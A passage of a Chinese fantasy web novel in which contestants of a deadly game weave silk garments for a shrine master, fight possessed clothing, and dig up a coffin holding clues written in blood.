湿润的泥土里,陈离翡以一敌三,打起了嘴炮。“我不管你是不是去叫人,反正我来时这蚕茧无主,我看到了就是我的。”
曲皓尧气得呼吸加剧,“你别以为仗着有秦为墨撑腰,我就怕你!这明明是我先看到的。而且你刚已经拖了一具蚕茧了,一人一具蚕茧,公平点。”
陈离翡不同意。
两个人由口角相争,升级为拳脚相斗。
陈离翡战斗力弱,明显不是曲皓尧的对手,没两下,她被曲皓尧给打趴下了。
在残酷的流金世界,生死都是靠自己争取,曲皓尧可没那些温柔的风度,泄愤般说:“老子忍你很久了,欠揍的家伙!”
他欲要往陈离翡腹部再揍两拳,却被卒然出现的人擒住了手。
18. 寒衣龛(十八)
秦为墨正言厉色,呵斥:“够了。”
陈离翡一听见秦为墨的声音,仰起满脸泥渍的花猫脸,哭啼啼的控诉,“墨墨,他抢我蚕茧。你快打他!”
秦为墨无奈的蹲下身,扶起陈离翡,帮她擦干净脸。好声安慰着:“小翡,你想好要做什么款式的衣裳了吗?”
陈离翡啜泣着,抹着眼泪说:“龛主那么小,我要做一件童裳,它准喜欢。”
“好。”秦为墨转而问曲皓尧,“你呢?”
曲皓尧想了想,回答:“柏神说过人彘木偶不是龛主的真身,龛主的声音听着是个男人,所以我们要做一件男人的衣袍。”
秦为墨点点头,对陈离翡说:“小翡,童裳量小,我们不需要一具蚕茧,一会儿切三分之一给小曲用。”
“?”陈离翡难以置信,目瞪口僵,两颊气鼓鼓,“你.....偏心他!我就不给他。”
“那可以分给我吗?”柳鸷想她的蚕茧劈成两半了,只能缫短丝,如果要做一件成人的衣袍,可能不够,便觍着脸问了。
秦为墨侧眸,征询陈离翡的意见,后者瞪着柳鸷不吭声。
“刚刚不是说想我吗?现在一点点蚕也不肯分我。哼!”柳鸷故意赌气的撇过身,傲娇的扬起下巴,双手环置胸前。
柳鸷以退为进,“算了算了,你拿着吧,浪费也没关系。不过我提醒你哦,时间快到了,蚕茧快要爆炸了,再不切割,就啥都没了。”
几人听了,立马切割两具蚕茧,毫不犹豫,杀死了两个小新龛。
陈离翡瞧瞧切割开的蚕茧,又瞅瞅柳鸷,眉头拧成了旋,自个纠结半晌说:“好吧,看在你昨日救了我的份上,就分你一点吧。”
秦为墨在旁边噗哧一笑,搓了搓陈离翡的头,夸道:“小翡很棒,学会分享是交到朋友的第一步。”之后,他侧身朝柳鸷竖起了大拇指。
现在选手们,一共有三具蚕茧。经过商讨之后,决定分成三队,分别制作一件衣裳。
第一队,由曲皓尧带领他的兄弟等人,制作一件成年男人的劲装。
理由是,曲皓尧认为龛主嗜杀戮,真身应该是一位高大的、心狠手辣的男人。
第二队,由陈离翡带领秦为墨等人,制作一件孩童的衣袍。
理由是,陈离翡觉得龛主就是一个古怪、搞笑的孩童。陈离翡把万宝子给弄了过去,说要以他为模特。
万宝子百般不乐意,翻了个白眼,“人家是小孩子,又不是残废,怎么能拿我比。”
陈离翡说:“可是你们身高差不多啊。”
最后,万宝子无奈,被陈离翡拖走。
第三队,由柳鸷和柏封棠、江琥等人,制作一件成年男人的华袍。
理由是无。
柳鸷曾问过柏封棠,“我们不先去找龛主的真身,再来制作衣裳吗?”
柏封棠还未开口,秦为墨凑过来说:“不找,直接杀。能动手的,封棠懒得动脑。”
柳鸷没辙,只好避开前两队,随意做一件,纯粹当作是开拓新领域,凑凑数而已。
一群选手扛着三具蚕茧,浩浩荡荡的往织染坊的方向前进。
和上次在极昼时的织染坊不一样。
真正的织染坊,匾额蒙了一层厚重的灰尘,屋檐下布满了蜘蛛网,墙面像鱼鳞般蜕着皮。
选手们进入坊门,檐上砸下一块瓦片,以表欢迎各位的到来。
坊内的布局与先前一样,只是多了很多破损的碎布,杂乱无章,很是破败。选手们放下蚕茧,在各区熟悉了一圈。
柳鸷发现染料区的破门前,有几簇半涸的板蓝根和蓼蓝草,很像在极昼遇到的。柳鸷跑去一看,染料区的破缸很陈旧,但碎片分散的方向和昨日她在极昼离开时一样。
柳鸷偷偷移开染缸盖子一角,瞄了一眼,染料也在。
曲皓尧的洪亮的声音从织机区传出来,“织机是好的,虽然是老古董了,但是可以用。”
看来,两座山重合,近期存在过的痕迹都会留下。
柳鸷扭头问柏封棠,“你是不是早就知道了?”
方才一路从不巅庙走到织染坊,原本种植板蓝根和蓼蓝草的那一块土地被毁了,只长了一片紫色的草。
而织机也是柏封棠提前修理过的。
柏封棠没有回答,只是眸色沉沉的注视着柳鸷。
柳鸷听见织机区,有人问:“这织机怎么用,你们会织吗?”
众人纷纷:“......我不会。”
“我也不会。”
“别指望我。”
陈离翡嫌弃道:“你们布都不会织,还扬言要做一件酷帅的劲装。”
曲皓尧嗤声:“说得好像你会似的。”
“噢,这都被你知道了?”陈离翡兴奋着,从袖口里掏出一本桑蚕丝织技艺手册。“嘿嘿~我家墨墨给我的。”
秦为墨在空旷的露天中堂喊了一声:“熟悉好了,都出来,准备缫丝了。”
柏封棠收回目光,低声说:“走吧。”
秦为墨按照手册,快速给选手们培训了宋锦的缫丝、染色和丝织等技术。
三队选手们各自砍柴烧火,烧水置于大缸内,放入蚕茧,等蚕茧外围的胶质适当溶解后,用禾杆索理出丝头,再以手抽丝,缠绕在丝筐上。
因是半具蚕茧,中途时常出现落绪,只得用手打小结来添绪。
从天亮缫到天黑,才将蚕丝缫完。
柏封棠和秦为墨,提前将装有染料的九口缸的缸盖,挪开了三分之一的口。
秦为墨说:“这是万坟缸,里头都是从前惨死的原住民。我和封棠用法力封住了盖口,你们可以看见颜色,也可将蚕丝放入浸泡。切记,一定不要翻开缸盖,否则被吞了没人救你。”
“这么可怕吗?”选手们小心翼翼的瞅了一眼染缸。
“这几百年了,怎么还有染料没干涸?”
“你得亏没干涸,干涸了就没染料了!”
“赤橙黄,青蓝紫......”曲皓尧数了数染缸,问:“怎么没有绿色?”
柳鸷和陈离翡面面相窥,默不吭声。
秦为墨调侃了一句,“某人昨天急得可是要把全部的染缸都砸掉呢!”
柏封棠觑了一眼,秦为墨噤声。
陈离翡默契的接话,讥讽曲皓尧:“对啊!能剩下九个染缸给你用,你应该叩天谢地了!不然你就只能送龛主一件出殡的白衣丧服了,看龛主不打死你!”
曲皓尧:“......”咬了咬牙,冷哼着撇过脸。
柳鸷缄默着,原来昨日破缸而出时,看见柏封棠一晃而过的担忧没有看错。看来她的流金血真的对他很重要。
柳鸷在心里盘算着,怎么把她流金血的价值,发挥到最大化。
约莫半盏茶的功夫,选手们挑选好了颜色,谨慎的搅拌后,将蚕丝放入染缸浸泡,而后有序的退出染料区。
柳鸷走在陈离翡身后,随口问:“你们套完树了,蚕丝佩囊还我吧,我得拿去还给柏封棠。”
陈离翡打着哈欠,大张的嘴顿住了,露出八颗小白牙,含糊道:“那个蚕丝佩囊......额.......破了个大窟窿。我就给扔了。”
柳鸷:“......”两记粉拳啾啾地揍在陈离翡的肩窝上,“那个佩囊对他很重要的。”
陈离翡边躲边说:“我不是给了你三分之一的蚕茧,你重新做个还给他呗!”
极昼来的选手先前没见过日落不觉得困,现下暮色四合,却觉得精疲力竭,提议要休息。
秦为墨算了下,距离寒衣龛还有六天时间,足够了,便让大家都去休息。
织染坊并没有多余的睡卧,选手们干脆就地休息,横七竖八的躺成一
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片。
翌日,天刚刚亮,选手们将蚕丝从染缸里捞出来,挂在太阳底下晾晒。
五颜六色的丝线,迎风吹起。
午后,选手们在织机区,开始钻研提花木机织造技术。手册上有不同的图案,选手们根据花蕊图,将不同颜色的蚕丝分成经线和纬线,联合组织。
织机区里,机杼声、人声交杂在一起,堪称是兵荒马乱。
有曲皓尧指责:“你会不会?不会就让开让老子来。”
有秦为墨说:“错了!要投掷红色纬梭。”
有柳鸷说:“不对!这里要运用彩抛换色之法。”
......
两日后,选手们历经二十多道工序,呕心沥血编织、裁剪而成的龛品——宋锦衣裳终于完成了。
众人松了一口气,将衣裳悬挂在衣桁上,欣赏着。
左边是由曲皓尧等人完成的玄青色劲装,肩宽袖紧,玉带束腰,锦上织有八吉祥,用料极好,看着版型很是英俊挺拔,但技艺不过尔尔。
中间是由柳鸷等人完成的黛紫色华服,质地细腻,衣襟飘逸。明亮的色泽配上图案的精美,看着很是尊贵富丽,可奇怪的是用料并不充裕。
最后一件,是由陈离翡等人完成的圆领童裳,色调以黄澄为主,面上明晃晃的织有蛇、蝎子、蜈蚣、蟾蜍、壁虎等五毒图案,前襟部位捡了八块柳鸷和曲皓尧剩下的碎布缝成一个五颜六色的围嘴,看着很是不伦不类。
“这真给老子丑吐了!”曲皓尧说。
陈离翡反诘,“你懂什么?这是百家衣。龛主这孩子太凶残了,必须要穿上齐集百家之福的衣裳才能改邪归正。”
柳鸷:“......”百家衣不是祈福少病少灾,健康成长的吗?怎么还能驱邪祟!
“天真!”柏封棠散漫地倚在织机角上,勾了勾唇,“选手是要杀龛的,你却妄想拯救。”
离寒衣龛开幕,还有两天半,曲皓尧组织了选手们三班倒,轮流看守三件衣裳,防止龛入侵,破坏衣裳。
夜幕笼罩时,选手们在露天中堂点燃柴火,烤着刚打来的野味,吹水打屁放松的很。丝毫没有注意到衣桁上的童裳袖腕口动了下。
江琥从选手那拿了一杯酒递给柳鸷,“借花献佛,谢谢你救了我。”
柳鸷笑了笑,没多说。
万宝子见了酒,咽了下口水,“美人姐姐,你欠本宝子的酒债什么时候还?”
“你的宝剑前些天被柏封棠折断了,所以......”
柳鸷话还没说完,万宝子以为她想耍赖,便赖着柳鸷撒娇道:“我不管!反正你借了我的剑,两壶酒,折了我的剑得翻番,要赔我四壶。”
万宝子竖着四根胖墩墩的手指,活脱脱像一个讨糖吃的小娃娃。
柳鸷扣上他的手,“你还敢喝啊?不怕柏封棠再请你吃一顿竹笋炒肉?”
陈离翡在一旁哈哈大笑。
“你你你们!嘲讽我!”万宝子气得一双眼睛瞪成斗鸡眼,跺着脚。“我会向师兄申请行酒令的,总之,你别想赖皮。”
陈离翡夺了柳鸷手中的酒递给万宝子,“喏,只能偷偷喝一小口,甜甜和墨墨出去了,不会发现的。”
选手们围在篝火旁大快朵颐时,童裳从衣桁上跳了下来,像是有无形的孩童撑起了衣裳,僵尸跳、跳、一下一下,从织机区门口跳出来。
猛地扑在陈离翡的背上,双袖如麻绳般瞬时绞紧陈离翡的喉咙。
所有人都惊住了,手忙脚乱的丢下食物。
柳鸷下意识,抄起一旁的刀就要去砍衣裳,旁边的人立马拦住她,“你疯了吗?这是给龛主的童裳,仅此一件的。”
陈离翡被锁住喉咙,梗红了脖子,拼命地扯开勒在脖子上的丝袖。“咳咳——救....我,不然......墨墨毁......所有衣......”
19. 寒衣龛(十九)
曲皓尧想了想,指挥着,“柳鸷,先把刀放下,我们徒手把童裳扯——”他的声音戛然而止。
门里又跳出来一件劲装,扼住了曲皓尧的脖子。
柳鸷一看形势不对,立即喊:“你们先去扯开衣裳救两人,宝子去外头叫柏封棠和秦为墨。”柳鸷则快跑到织机区门口,与自己做的、正跳着出来的华服相撞。
幸亏柳鸷早有预料,狠狠的一脚将华服踹回屋内,迅速锁上了门,而后加入了“扯衣大队”。
柳鸷指挥选手们分成两队,分别围绕着陈离翡和曲皓尧一圈,前后左右的扯着衣裳,试图扯开些,将被困的两人脱救出来。
但衣裳不仅力气大,且韧度极佳。选手们奋力,也只是为两人争取了些喘息的余地。
万宝子用金箔唤了柏封棠后,躲着墙角边打气,“加油!你们加油!坚持一下!师兄马上就来了!”
若非情势紧急,柳鸷会以为自己在参加拔河比赛呢!
柏封棠和秦为墨仓促赶来时,陈离翡和曲皓尧的脸憋成了猪肝色。
秦为墨紧抿着嘴,平日里温文尔雅的脸庞变得铁青,扫了一眼,让选手让开。而后,利索的拔出擒元刀,弯刀不断变大。
秦为墨手持巨刀,将童裳劈得七零八碎,救出了陈离翡。
众人都惊呆了!
辛辛苦苦做得衣裳就这么咔咔两下就变成碎布了。
曲皓尧艰难的摆着手说:“别......刀......衣......”
秦为墨明白,便不管他,扶着大声咳嗽的陈离翡,捋顺呼吸。
有选手求柏封棠救救曲皓尧。
柏封棠慢悠悠的扇着法扇,直白道:“衣裳被控制了,要么杀了衣裳,要么杀了控制衣裳的龛主。你们能杀龛主吗?”
曲皓尧制衣队伍的人明显犹豫了,在救队友与保衣裳之间摇摆。
片刻,拉着曲皓尧身后衣裳的三个选手明显泄了力,致使衣裳绞得更紧了。
曲皓尧脱力的跪了下来。
只有他的两个兄弟还在努力拉扯,并气愤道:“你们怎么能这样?”
牺牲曲皓尧一人,能换所有人成功活着离开寒衣龛吗?
不一定。
眼看着曲皓尧快不行了。
柳鸷洞视着周遭,冷漠、可惜、平淡、玩味、焦急......所有人类的情绪。
柳鸷想杀龛主,她法力不够,但——
她借了秦为墨的擒元刀,如法炮制。因法力比不上刀的主人,只能多砍了好几刀,绞在曲皓尧脖子上的劲装才碎裂,救出曲皓尧。
除了曲皓尧兄弟三人,其余的人见状,纷纷不爽柳鸷,正要斥责她。
柏封棠骤然合了扇子,闪跃至柳鸷身后,隐在黑暗里。
柳鸷没注意到身后的人,只是对着选手们,霸气的承诺:“我制得华服还关在屋里头,它是属于寒衣龛所有选手的成果。”
众人喜出望外,谩骂的话语如糟糠,也得给它咽回肚子里。
“桀桀桀——”惊悚的怪笑在露天的屋檐角发出,怪腔怪调着:“柳鸷,你真的很有意思。”
柳鸷仰头,看见了月亮之下,立在青瓦上的人彘木偶,以及它身后温顺垂手的貌宜。
人彘木偶继续道:“这些俗人很无趣的,但看这一群人被你怼得吃瘪的表情挺有趣的。不过,你的承诺似乎也撑不了一刻钟。”
华服在织机区里撞门,发出哐哐的震声。
柳鸷明白,“杀了你就可以。”
“杀我?”人彘木偶捧腹大笑,随即歪着头,伸长了木脖子说:“请杀!请杀!杀这里,你倒是来杀呀。”
柳鸷攥紧了刀柄,被身后的柏封棠按下来了。
曲皓尧缓过来,先柳鸷一步,“老子杀了你!”曲皓尧三兄弟拔刀,一同轻踏上檐,人偶交错,招式连连,刀木相击。
没几招,人彘木偶以法力,徒手反制,曲皓尧的两兄弟被它踹飞,滚到地上。人彘木偶夺过曲皓尧的刀,挥刀砍向曲皓尧。
众人惊呼:“曲哥——”
柳鸷疾速一刀飞击,撞开人彘木偶的刀。
人彘木偶懒洋洋的,用膝盖骨踢球似的,踢飞了曲皓尧,不屑道:“就你们这群废物,还想大言不惭的在我的地盘杀我!真是太搞笑!”
龛主正洋洋得意着,没料到有人敢出声。
“那么,我来杀你。够不够格?”
柏封棠的声音从柳鸷身后的暗处里传来。
紧接着,柏封棠英挺的侧脸暴露在月光下,眼中的冷意渗人骨髓。
人彘木偶顿了一下,连连摆手,“不了不了,我今天戒杀,大发慈悲的放过你们。”
人彘木偶准备要走,柏封棠卒然闪身,从后方跃迁而上。右手虎口一下子卡住了人彘木偶的后颈。
貌宜惊诧,担忧道:“龛主小心。”
柏封棠傲慢地掐着人彘木偶的脖子,拎了起来。
人彘木偶圆短短的两条半腿在空中摇晃,大惊失色:“你怎么敢?你再这样我就不客气了!”
柏封棠低沉有力的问:“嗯?你要怎么不客气?你倒是不客气给我看看。”
人彘木偶展开手臂,拳脚如风般擊出,攻向柏封棠。
每一击都势大力沉。
柏封棠法力高强,灵活
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的闪过。人彘木偶擊出的拳脚,击击落空,打在屋檐上,波及青瓦,碎片飞扬砸到中堂的地上。
秦为墨见状,让选手们往后撤退。
貌宜着急,“柏选手,请你放开龛主。”
柏封棠轻蔑一笑,“不过是一个假身而已。回去告诉你们龛主,这个木娃娃我要了。若是龛主再敢暗中乱动手脚,下回取得就是它的狗命。”
人彘木偶气得眼珠隆起,情绪失控的扑向柏封棠。
柏封棠失了耐心,一个扇骨敲在人彘木偶的左腿上,木骨腿断裂了。
紧接着,右腿、右手、左手统统被敲断,掉在地上。
貌宜见此,心知无以挽回,便匆匆回去复命。
人彘木偶变成一个不能动的木头,被柏封棠丢在中堂,转而对柳鸷说:“送你,泄泄气。”
“......”柳鸷说:“多谢。”但她对虐待残疾人没兴趣,于是招呼其他选手:“你们要揍揍它吗?”
人彘木偶躺在地上,呸了一声:“你们这群蠢货也配!”
选手们被激怒了,涌上去围住,左一拳,右一脚的,群殴了人彘木偶。
陈离翡因人群中有女人而不敢近身,喊着曲皓尧,“曲哥!给我使劲揍它!”
曲皓尧边踹边骂,“老子弄死你!”
人彘木偶被打得发昏,仍旧放着狠话,“你们给我等着!等到了寒衣龛那日,你们若拿不出一件衣裳,就视为任务失败!到时候,我要慢慢和你们玩耍。焚龙也不会怪我残忍的,桀桀桀——”
“我等着你。”柳鸷举起刀,挥刀下去,人彘木偶被劈成了两半——
终于,安静了!
万宝子欢呼着:“杀掉了耶!杀得好!杀得妙!”
突然,两半空心的木偶自燃了起来,连同地上破裂的残衣碎布也烧了起来。
柳鸷望向织机区的窗棂门,看见一点火簇。“快去取水!”
柳鸷想去开门锁,柏封棠说:“华服用不了。”
“好吧。”柳鸷有些失望。
陈离翡和几个选手快速提了水来,泼上窗棂门。但火没浇灭,且在窗棂门上留下了黄澄澄的痕迹。
柳鸷吃惊,“你......用染料当水泼?”
陈离翡亮着无辜的桃花眼,“对啊,这是离得最近的水了,但门......为什么越烧越旺了?”
柳鸷捂眼,要不是知道这家伙是个小废物,还以为她是龛主派来的奸细呢。
柳鸷叹息着:“染缸表层都是植物油脂,你刚刚是在火上浇油。等等!你取水时把染缸盖子打开了?”
陈离翡一惊,“啊!糟了!”
20. 寒衣龛(二十)
数十条湿润又沉重的布条从染料区的门,腾空飘出中堂,想要绞人。
选手们纷纷拔刀抵抗,乱砍一通,骂着:“嚓!这什么鬼东西!力气大得很!”
柳鸷持刀,迎着布条,逆流而上,一刀直接捅进缸壁,径直搅破了染缸,黄澄澄的染料溅得到处都是。
方才还像蛇般柔软有力的布条,一下子蜿蜒的倒在地上,成了死蛇。
陈离翡拍了拍手,鼓掌着,“柳鸷,你变得比上次厉害了耶!”
柳鸷抱刀,睨着她,“都是谁闯的祸!”
陈离翡咬了下唇,眼神闪躲,有点心虚,但依旧辩驳道:“我这不是救火心切,一时着急就忘记了嘛!”
柳鸷欷歔,默默的转向秦为墨,表示同情。
心想,秦为墨一路带着这个猪队友,一定很辛酸!
最终,柳鸷带着陈离翡和选手们,跑去后院的小溪处取水,来来回回好几趟,才将火势熄灭。
织机区二分之一都烧糊了,只剩下黑焦的织机和丝锦的灰烬。
烧光了。
都烧光了。
没有蚕茧了,也没有衣裳了,还有两天就到寒衣龛了。
有选手问:“可以从每个选手身上各剪一片布,缝成百家衣献给龛主不?”
“那倒不如直接用我的衣裳,我不介意裸奔,只要能回到阙庭。”
“这违反了寒衣龛的规则,行不通的。”
“完了,没有衣裳,我们会不会出不去了?”
“现在想活着离开只能直接杀死龛主。
“杀龛主,得找到它的真身,还要有杀它的能力,这比登天还难!”
陈离翡偷偷和柳鸷说:“我们到时候逃跑就行了,让甜甜和墨墨去杀龛主。”
柳鸷扯着头发缠在手里琢磨,茫然的点了点头,转而对柏封棠,弯了下手,“请你跟我出来一下。”
“请?”柏封棠犹意未尽的挑了下眉梢,“真是有趣的动作。”
夜色如渊,更深露重。
柳鸷带柏封棠走过暗影交错的小径,来到树林通往不巅庙的小路上。
柳鸷直接跳进小路旁的箐沟荒草里!
柏封棠眼疾手快的抓住她,“你做什么?”
“我没事,你稍等下。”柳鸷松开柏封棠的手,踩了踩脚下的地,经过前些天的洪水浸泡,土壤很松。
柳鸷谨慎的向前走了几步,探手,采撷到一束紫色的小花。柔和的月光下,柳鸷蓦然转身,捧着一簇小花蕊,一步一步,踩着银色的光晕奔向柏封棠。
柏封棠瞳孔颤动,不自觉地蜷了蜷掌心。
柳鸷来到柏封棠面前,将花蕊递给他。
柏封棠的呼吸滞了半秒,“送我?”
柳鸷:“?”
“不是,我是想让你看看这个叶子。”说着,柳鸷摘了一片火草,翻过叶子背面,递给柏封棠,“如果我用叶子背面这个草丝,当做蚕丝来制衣可以吗?”
柳鸷自言自语说的很认真,柏封棠的表情变得极其复杂,接过叶子,捻在手里,反复摩挲。
手中的叶片似乎惹恼了他,很小的一声,直接捻碎了!!!
“?”柳鸷不明所以,这个提议不成,也不用这样欺负叶子吧。
柏封棠嘴角拉低,幽幽的望了柳鸷一眼,扬了手上的白绿色的叶碎粒,转身就走。
柳鸷看出了柏封棠的不高兴、不爽,心想这人的心思可真难捞。
莫非是这叶子勾起了他以往什么不好的回忆,所以生气了?
柳鸷朝他的身影,喊道:“刚才若是冒犯到你,我愿意向你道歉。”
喊声回荡在夜空里,柏封棠略顿,停住脚步,笔直的矗立。
柏封棠勾起嘴角,突然笑了。
他在气什么。
柏封棠甫一转身,踱步回到柳鸷面前。
柳鸷连忙将花束藏到身后,见他眉角稍有缓和,说:“抱歉......”
“不是你的错。你没有错。是我的问题。”柏封棠快速阻止了柳鸷的道歉。
“好吧。”柳鸷背着手,捏着花束。
柏封棠伸出手,“叶子。”
柳鸷犹豫着,温吞吞的把花束拿出来。
柏封棠略过花,摘了一片草叶子,端详。
叶背面确实覆盖着一层如蚕丝般的白绒丝,“你确定这能做衣裳?”
柳鸷点点头,“可以的。”
柳鸷曾在一档非遗文化的记录片里,看过西南地区的百姓取草火制衣的传统手艺。不过火草需求量大,要采摘到足够火草才行。
柏封棠忖度片刻,“行,你去试试。”他指了指天,提醒:“小声,不要张扬。”
“真的吗?”柳鸷惊喜着,旋即又在嘴巴上拉过一条无形的拉链,“那我现在、马上去喊大家过来帮忙摘草!”
柳鸷小跑出去两步,诶!不对!她停下,从体内吸出一片金箔问柏封棠:“这个要怎么隔空传音?”
“你想唤谁?”
“就陈离翡吧。”
“那你知道陈离翡的传音号叫什么吗?”
柳鸷:“......”
“不知道,这还取个花名啊?”
“没有,为了方便好记,大多数选手的传音号都用真名。”
随后,柳鸷按照柏封棠说的步骤,两手捏在金箔上,集中法力,开始呼唤:“陈离翡。陈离翡。”
无人回应。
柳鸷又唤了一声:“小翡?”
依旧。
“不行啊!是我法力低微的问题吗?”
“不,是陈离翡的传音号不叫真名。”柏封棠将指尖覆上柳鸷的指尖,柳鸷顿觉指尖连着手掌都在发烫,只听柏封棠说:“你换个名字试试。”
柳鸷不死心,又喊陈离翡,果真不对。
柳鸷自暴自弃,随便喊了秦为墨,竟然一下子就通了!
秦为墨听出柳鸷的声音,问:“三更半夜,你把封棠拐哪里去了呀?”
柳鸷:“......”
柏封棠接话,毫不客气,让秦为墨带人来摘草。
秦为墨迷糊了:“摘草?”
那边,传出陈离翡抱怨的声音,“靠,你奴役墨墨,等回阙庭了,要多分两块金子给我们!”
“敢和我讨价还价,真是被你宠坏了!”柏封棠桀骜道:“不是他,也是你。不干活你们统统别想回到阙庭。”<
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“好你个臭甜——”陈离翡臭脾气正欲发作,被秦为墨拦了下来。
柳鸷可不想隔空吵起来了,忙和秦为墨长话短说的解释完,秦为墨爽快的答应组织选手们来。
半夜,选手们全部匆匆赶来,开始摘草。
柳鸷预估采摘完这边箐沟上的所有火草可能还不够做一件衣裳,于是,拜托柏封棠出去寻寻,其他处是否还生长着火草。
天光渐明时,柳鸷摘着火草,忽然有一条白色的蚕虫往柳鸷的右手上爬,试图钻进她的手腕里。
柳鸷右手微麻,疾速抖掉!
发现后边连着一棵小桑树,桑叶上有几十余条蚕虫。柳鸷提醒,“大家小心,附近有蚕虫,不要触碰蚕虫。”
柏封棠在离织染坊两公里处的荒地里,找到了火草。
选手们火速摘完,赶去新的荒地。
期间,貌宜忽然出现,见众选手都在荒野里拔草,颇为疑惑,“你们在干什么?”
选手们下意识的将叶背下压,面面相觑,一时不知如何回答。
柳鸷机灵的满口胡诌了一句:“哦,柏封棠说他想吃草莓,所以我们在开垦荒地,学习草莓种植技术。”
貌宜:“......”
柏封棠:“......”
众选手:“......”
秦为墨狐疑的望向柳鸷,她怎么会知道柏封棠喜欢草莓?
貌宜不可思议的咧开嘴,哈哈大笑:“你们都死到临头了,竟然还想着种草莓!真是孺子不可教也!”
柳鸷说:“那可不一定。柏封棠可是承诺过我们,只要我们帮他种草莓,他就会保我们性命。”
柏封棠:“......”
貌宜轻蔑道:“他保不了你们这么多人!你们杀了木偶,龛主很生气!你们等着承受龛主的怒火吧!”
陈离翡切了一声,“你还是先管好你自己吧,说不准龛主先拿你出气呢!下九龛!!!”
貌宜盯着陈离翡,不欲与她争执,冷哼一声,“龛主让我来通知各位,寒衣龛将于明夜戌时在不巅庙举行,届时请所有选手携带龛品前去参加。”
等貌宜离开,众人不由加快了摘草的进度。
一个时辰后,选手们终于摘完了火草。
柳鸷说:“这些足够做一件衣裳了。”
一件?
陈离翡问:“就一件?那做什么衣裳啊?童裳吗?”
曲皓尧出口反对:“不,龛主肯定是成人,必须做成人的。”
两个人唇枪舌战,谁也不饶谁。
柳鸷愣了愣,想起了什么。“你们都别吵!”时间紧迫,柳鸷喝止了争吵,转而请柏封棠帮忙。
柳鸷把提取火草绒丝的方法告知柏封棠,让他带着大部分的选手,背着火草回织染坊,用火草撕绒、捻线、浸泡。
“衣裳的款式等我回来再决定。”柳鸷看向韦舟和曲皓尧的几个兄弟,“你们可不可以同我去一个地方?”
“做什么?”曲皓尧问。
陈离翡瞟过这几人身强体壮的,嘟囔着问:“这次不会又要去挖树吧?”
柳鸷沉吟着,半晌道:“不,这次不挖树,去挖坟!”
21. 寒衣龛(二十一)
“哈?干这么缺德的事情!想想就刺激!”陈离翡举起手,“我也去,我也去。”
秦为墨:“......”那他也去吧。
柳鸷领头,身后跟着陈离翡以及六个人高马大的男人,个个肩扛着锄头或铁锹,往不巅庙的方向去。
不巅庙的门扉早已朽败,柳鸷轻触门扉,门上的红漆就化为了齑粉,落在地上。
陈离翡挥了挥手,柳鸷退让开,陈离翡用力推吱呀作响的庙门。
几人进入不巅庙,地面碎石瓦砾中长满了青苔。
在庙殿台阶下方,有一具的骸骨七零八落的散在一滩血色里,柳鸷觉得有点奇怪,但正事要紧,便没有多想。
几人还在四处打量。
柳鸷走向当初被龛打成流金的位置,闭上眼睛,回顾着。
许久,柳鸷睁开眼,喊了一声,“我们走了。”
柳鸷凭着记忆里的路线,先往东南方向走了约八丈,再往西南方向走了约二十丈,又往西北方向走了一公里,调转东南方向走......
半个时辰后,几人兜兜转转又回到不巅庙的门口。
陈离翡都被绕晕了,怀疑道:“柳鸷,你是不是在耍我们?”
柳鸷正回忆着,没回复。
柳鸷继续向东直行五公里,淌过一口温热的活泉,拐向西北方向前进一公里后停住。
眼前是一片半人高的杂草丛。
日头毒辣,炙烤着地面,也灼得几人皮肤发烫,后背都淌了汗。
陈离翡走不动了,干脆一屁股坐着地上,问柳鸷:“到底什么时候才能找到坟?”
“是啊!柳鸷,你有没有记错路了?”曲皓尧抹了一把额头上的汗。
“我没记错。”柳鸷拨开杂草,往里走了十六步,确信着:“就在我脚下这一片,开始挖吧!”
陈离翡一个激灵,跳了起来,“我来也!”
陈离翡吭哧吭哧挥起锄头,锄下去,锄开一堆草,柳鸷握着铁锹铲开。
陈离翡抬眸,见其他人还愣着不动,毒舌道:“你们还杵着干什么?还不赶紧挖!就一天半的时间了,杵在那里等死吗?”
几个人快速行动起来。
不到一个时辰,挖出一个两米深的大坑,但并没有看见坟。
陈离翡累得气喘吁吁,吐槽着:“柳鸷,你确定没记错吗?”
柳鸷的记忆很好,确信自己不会记错,“废话少说,继续挖。”
又过了一刻钟,秦为墨一个锄头下去,撞到了一个坚硬的物体。“好像挖到了。”
陈离翡激动着,“哪里哪里?让我来。”
几人加快速度,不过一会,一面偌大的、灰白色的石棺出现在深坑里。
在耀眼的日光下,石棺面上镌刻着石画清晰可见。
恢弘的不巅庙、茂密的桑树林、鳞次栉比的村落、长发垂髫玩耍在街巷里的稚童,甚至连茅草屋上的袅袅炊烟都刻画得栩栩如生,映照在选手们的瞳孔里。
秦为墨说:“这是应该是不巅村几百年前的景象。”
这也是柳鸷初来乍到,化为流金时所攀抚过的石画,当时未来得及探究。现在,柳鸷说:“开棺!”
八人合力,抬起厚重的石棺盖,刚翘起一个缝隙,里头就涌出一股阴冷的气息。
陈离翡打了个哆嗦,惴惴不安,“为啥我感觉忽然变得好冷哦。我们不会开出一个龛大‘粽子’吧?”
曲皓尧说:“我也觉得,背后的汗都凉飕了。”
韦舟说:“我也有同感。”
秦为墨让众人闪开,他以法力轻抬石棺盖,将棺盖翻上地面。
棺内,是两具白森森的人彘骨骸,棺底的灰白染上了一大瘫干涸、陈旧的血迹。
骨骸一节一节的,各占一头,短小的膝盖对短小的膝盖,并无下肢。
“快看,侧面有字。什么丝奇......?”陈离翡趴下身瞧。
柳鸷干脆跳进坑中,蹲下身看。
上方人彘骨骸的右手边的棺壁上,大刺刺的写着四个血字:丝,奇,耂,日。
柳鸷走到对面,看见下方人彘骨骸的右手边的棺壁上,歪歪扭扭的四个血字:走,扁,身,罗。
这两个人彘,显然是还未断气就被封入石棺内,但为什么会写下这八个字呢?
柳鸷将八个字在脑海里排列。
倏地,她醍醐灌顶,激动道:“我明白了!”
陈离翡好奇的追问:“什么?是什么?”
“这八字组成是,遍身罗绮者。”秦为墨也看出来了。
柳鸷接道:“这是一首诗。下一句是:不是养蚕人。”
陈离翡毫无头绪,“那这和我们要做得衣裳有什么关系?”
柳鸷解释道:“不巅村的百姓以桑蚕丝织技艺为生,养蚕人是不穿罗绮的。在这个村庄里,不是养蚕人的只有残杀、掠夺他们土地的龛。”
曲皓尧明白了,“所以,我们要做的是一件罗绮?”
柳鸷点点头,但转念一想,如果龛也装成普通养蚕人呢?
太阳投射的影子移向东面,留给他们的时间不多了。柳鸷说:“我们先把棺盖合上,回去再说。”
回程时,几人没有像来时那样绕路,直奔织染坊。
路上,几人急促赶路,陈离翡忽然指着不远处的草地里,“那里好像有人在动。”
韦舟说:“小心点,说不定是龛。”
